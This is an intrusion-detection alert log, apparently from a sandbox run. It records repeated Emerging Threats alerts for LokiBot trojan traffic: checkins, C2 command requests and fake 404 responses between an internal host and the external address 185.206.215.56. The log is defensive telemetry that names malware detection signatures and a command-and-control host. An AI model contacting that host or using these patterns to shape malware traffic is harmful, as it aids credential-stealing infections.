01/05/21-19:06:44.485788	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49261	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.485788	TCP	2025381	ET TROJAN LokiBot Checkin	49261	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.485788	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49261	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.652260	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49261	185.206.215.56	192.168.2.22
01/05/21-19:06:44.876902	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49262	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.876902	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49262	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.876902	TCP	2025381	ET TROJAN LokiBot Checkin	49262	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.876902	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49262	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.053688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49262	185.206.215.56	192.168.2.22
01/05/21-19:06:45.261637	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49263	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.261637	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49263	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.261637	TCP	2025381	ET TROJAN LokiBot Checkin	49263	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.261637	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49263	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.422623	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49263	185.206.215.56	192.168.2.22
01/05/21-19:06:45.633934	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49264	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.633934	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49264	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.633934	TCP	2025381	ET TROJAN LokiBot Checkin	49264	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.633934	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49264	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.789961	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49264	185.206.215.56	192.168.2.22
01/05/21-19:06:45.996354	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49265	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.996354	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49265	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.996354	TCP	2025381	ET TROJAN LokiBot Checkin	49265	80	192.168.2.22	185.206.215.56
01/05/21-19:06:45.996354	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49265	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.162508	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49265	185.206.215.56	192.168.2.22
01/05/21-19:06:46.366773	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49266	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.366773	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49266	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.366773	TCP	2025381	ET TROJAN LokiBot Checkin	49266	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.366773	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49266	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.523351	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49266	185.206.215.56	192.168.2.22
01/05/21-19:06:46.730742	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49267	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.730742	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49267	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.730742	TCP	2025381	ET TROJAN LokiBot Checkin	49267	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.730742	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49267	80	192.168.2.22	185.206.215.56
01/05/21-19:06:46.897287	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49267	185.206.215.56	192.168.2.22
01/05/21-19:06:47.102635	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49268	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.102635	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49268	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.102635	TCP	2025381	ET TROJAN LokiBot Checkin	49268	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.102635	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49268	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.257102	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49268	185.206.215.56	192.168.2.22
01/05/21-19:06:47.475682	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49269	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.475682	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49269	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.475682	TCP	2025381	ET TROJAN LokiBot Checkin	49269	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.475682	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49269	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.647987	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49269	185.206.215.56	192.168.2.22
01/05/21-19:06:47.867741	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49270	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.867741	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49270	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.867741	TCP	2025381	ET TROJAN LokiBot Checkin	49270	80	192.168.2.22	185.206.215.56
01/05/21-19:06:47.867741	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49270	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.042229	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49270	185.206.215.56	192.168.2.22
01/05/21-19:06:48.254686	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49271	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.254686	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49271	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.254686	TCP	2025381	ET TROJAN LokiBot Checkin	49271	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.254686	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49271	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.422139	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49271	185.206.215.56	192.168.2.22
01/05/21-19:06:48.626007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49272	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.626007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49272	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.626007	TCP	2025381	ET TROJAN LokiBot Checkin	49272	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.626007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49272	80	192.168.2.22	185.206.215.56
01/05/21-19:06:48.788675	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49272	185.206.215.56	192.168.2.22
01/05/21-19:06:49.009732	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49273	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.009732	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49273	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.009732	TCP	2025381	ET TROJAN LokiBot Checkin	49273	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.009732	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49273	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.170301	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49273	185.206.215.56	192.168.2.22
01/05/21-19:06:49.377604	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49274	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.377604	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49274	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.377604	TCP	2025381	ET TROJAN LokiBot Checkin	49274	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.377604	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49274	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.549512	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49274	185.206.215.56	192.168.2.22
01/05/21-19:06:49.748267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49275	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.748267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49275	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.748267	TCP	2025381	ET TROJAN LokiBot Checkin	49275	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.748267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49275	80	192.168.2.22	185.206.215.56
01/05/21-19:06:49.910769	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49275	185.206.215.56	192.168.2.22
01/05/21-19:06:50.119352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49276	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.119352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49276	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.119352	TCP	2025381	ET TROJAN LokiBot Checkin	49276	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.119352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49276	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.275711	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49276	185.206.215.56	192.168.2.22
01/05/21-19:06:50.486914	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49277	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.486914	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49277	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.486914	TCP	2025381	ET TROJAN LokiBot Checkin	49277	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.486914	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49277	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.662352	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49277	185.206.215.56	192.168.2.22
01/05/21-19:06:50.870071	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49278	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.870071	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49278	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.870071	TCP	2025381	ET TROJAN LokiBot Checkin	49278	80	192.168.2.22	185.206.215.56
01/05/21-19:06:50.870071	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49278	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.028077	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49278	185.206.215.56	192.168.2.22
01/05/21-19:06:51.234373	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49279	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.234373	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49279	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.234373	TCP	2025381	ET TROJAN LokiBot Checkin	49279	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.234373	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49279	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.393173	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49279	185.206.215.56	192.168.2.22
01/05/21-19:06:51.603753	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49280	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.603753	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49280	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.603753	TCP	2025381	ET TROJAN LokiBot Checkin	49280	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.603753	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49280	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.756889	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49280	185.206.215.56	192.168.2.22
01/05/21-19:06:51.974612	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49281	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.974612	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49281	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.974612	TCP	2025381	ET TROJAN LokiBot Checkin	49281	80	192.168.2.22	185.206.215.56
01/05/21-19:06:51.974612	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49281	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.147882	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49281	185.206.215.56	192.168.2.22
01/05/21-19:06:52.356383	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49282	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.356383	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49282	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.356383	TCP	2025381	ET TROJAN LokiBot Checkin	49282	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.356383	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49282	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.526790	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49282	185.206.215.56	192.168.2.22
01/05/21-19:06:52.728532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49283	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.728532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49283	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.728532	TCP	2025381	ET TROJAN LokiBot Checkin	49283	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.728532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49283	80	192.168.2.22	185.206.215.56
01/05/21-19:06:52.923052	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49283	185.206.215.56	192.168.2.22
01/05/21-19:06:53.137321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49284	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.137321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49284	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.137321	TCP	2025381	ET TROJAN LokiBot Checkin	49284	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.137321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49284	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.310694	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49284	185.206.215.56	192.168.2.22
01/05/21-19:06:53.527158	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49285	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.527158	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49285	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.527158	TCP	2025381	ET TROJAN LokiBot Checkin	49285	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.527158	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49285	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.705442	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49285	185.206.215.56	192.168.2.22
01/05/21-19:06:53.922499	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49286	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.922499	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49286	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.922499	TCP	2025381	ET TROJAN LokiBot Checkin	49286	80	192.168.2.22	185.206.215.56
01/05/21-19:06:53.922499	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49286	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.077631	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49286	185.206.215.56	192.168.2.22
01/05/21-19:06:54.285753	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49287	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.285753	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49287	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.285753	TCP	2025381	ET TROJAN LokiBot Checkin	49287	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.285753	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49287	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.453918	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49287	185.206.215.56	192.168.2.22
01/05/21-19:06:54.662267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49288	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.662267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49288	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.662267	TCP	2025381	ET TROJAN LokiBot Checkin	49288	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.662267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49288	80	192.168.2.22	185.206.215.56
01/05/21-19:06:54.864166	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49288	185.206.215.56	192.168.2.22
01/05/21-19:06:55.070986	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49289	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.070986	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49289	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.070986	TCP	2025381	ET TROJAN LokiBot Checkin	49289	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.070986	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49289	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.223019	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49289	185.206.215.56	192.168.2.22
01/05/21-19:06:55.427131	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49290	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.427131	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49290	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.427131	TCP	2025381	ET TROJAN LokiBot Checkin	49290	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.427131	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49290	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.590567	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49290	185.206.215.56	192.168.2.22
01/05/21-19:06:55.812036	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49291	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.812036	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49291	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.812036	TCP	2025381	ET TROJAN LokiBot Checkin	49291	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.812036	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49291	80	192.168.2.22	185.206.215.56
01/05/21-19:06:55.997742	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49291	185.206.215.56	192.168.2.22
01/05/21-19:06:56.213303	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49292	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.213303	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49292	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.213303	TCP	2025381	ET TROJAN LokiBot Checkin	49292	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.213303	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49292	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.397187	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49292	185.206.215.56	192.168.2.22
01/05/21-19:06:56.594263	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49293	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.594263	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49293	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.594263	TCP	2025381	ET TROJAN LokiBot Checkin	49293	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.594263	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49293	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.764004	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49293	185.206.215.56	192.168.2.22
01/05/21-19:06:56.973338	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49294	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.973338	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49294	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.973338	TCP	2025381	ET TROJAN LokiBot Checkin	49294	80	192.168.2.22	185.206.215.56
01/05/21-19:06:56.973338	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49294	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.143234	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49294	185.206.215.56	192.168.2.22
01/05/21-19:06:57.346021	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49295	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.346021	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49295	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.346021	TCP	2025381	ET TROJAN LokiBot Checkin	49295	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.346021	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49295	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.532123	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49295	185.206.215.56	192.168.2.22
01/05/21-19:06:57.742988	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49296	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.742988	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49296	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.742988	TCP	2025381	ET TROJAN LokiBot Checkin	49296	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.742988	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49296	80	192.168.2.22	185.206.215.56
01/05/21-19:06:57.910447	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49296	185.206.215.56	192.168.2.22
01/05/21-19:06:58.107472	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49297	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.107472	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49297	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.107472	TCP	2025381	ET TROJAN LokiBot Checkin	49297	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.107472	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49297	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.291278	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49297	185.206.215.56	192.168.2.22
01/05/21-19:06:58.499485	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49298	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.499485	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49298	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.499485	TCP	2025381	ET TROJAN LokiBot Checkin	49298	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.499485	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49298	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.677455	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49298	185.206.215.56	192.168.2.22
01/05/21-19:06:58.918368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49299	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.918368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49299	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.918368	TCP	2025381	ET TROJAN LokiBot Checkin	49299	80	192.168.2.22	185.206.215.56
01/05/21-19:06:58.918368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49299	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.104108	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49299	185.206.215.56	192.168.2.22
01/05/21-19:06:59.313559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49300	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.313559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49300	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.313559	TCP	2025381	ET TROJAN LokiBot Checkin	49300	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.313559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49300	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.474234	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49300	185.206.215.56	192.168.2.22
01/05/21-19:06:59.687246	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49301	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.687246	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49301	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.687246	TCP	2025381	ET TROJAN LokiBot Checkin	49301	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.687246	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49301	80	192.168.2.22	185.206.215.56
01/05/21-19:06:59.847928	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49301	185.206.215.56	192.168.2.22
01/05/21-19:07:00.058160	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49302	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.058160	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49302	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.058160	TCP	2025381	ET TROJAN LokiBot Checkin	49302	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.058160	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49302	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.228246	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49302	185.206.215.56	192.168.2.22
01/05/21-19:07:00.450812	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49303	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.450812	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49303	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.450812	TCP	2025381	ET TROJAN LokiBot Checkin	49303	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.450812	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49303	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.618919	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49303	185.206.215.56	192.168.2.22
01/05/21-19:07:00.828363	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49304	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.828363	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49304	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.828363	TCP	2025381	ET TROJAN LokiBot Checkin	49304	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.828363	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49304	80	192.168.2.22	185.206.215.56
01/05/21-19:07:00.993556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49304	185.206.215.56	192.168.2.22
01/05/21-19:07:01.210699	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49305	80	192.168.2.22	185.206.215.56
